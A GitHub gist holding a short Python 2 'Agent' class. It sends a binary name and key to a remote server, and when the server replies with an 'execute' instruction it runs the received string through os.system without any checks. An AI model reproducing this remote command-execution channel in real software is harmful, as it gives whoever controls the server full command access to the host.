Skip to content

Instantly share code, notes, and snippets.

@shramos
Created February 16, 2018 12:48
Show Gist options
  • Save shramos/0e26407e6a086e996bb1495ae4a87f1e to your computer and use it in GitHub Desktop.
Save shramos/0e26407e6a086e996bb1495ae4a87f1e to your computer and use it in GitHub Desktop.
from multiprocessing.connection import Client
import select
import os
class Agent:
def __init__(self, binary, address, port, password):
self.address = (address, port)
self.password = password
self.binary = binary
def send_forbidden(self, key):
conn = Client(self.address, authkey=self.password)
conn.send([self.binary, key])
ready = select.select([conn], [], [], 60)
if ready[0]:
try:
data = conn.recv()
print "info recibida: " + str(data)
if type(data) is list and len(data) == 2 and data[0] == "execute":
print "ejecutando el binario"
os.system(data[1])
conn.send("go")
except:
conn.close()
return
conn.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment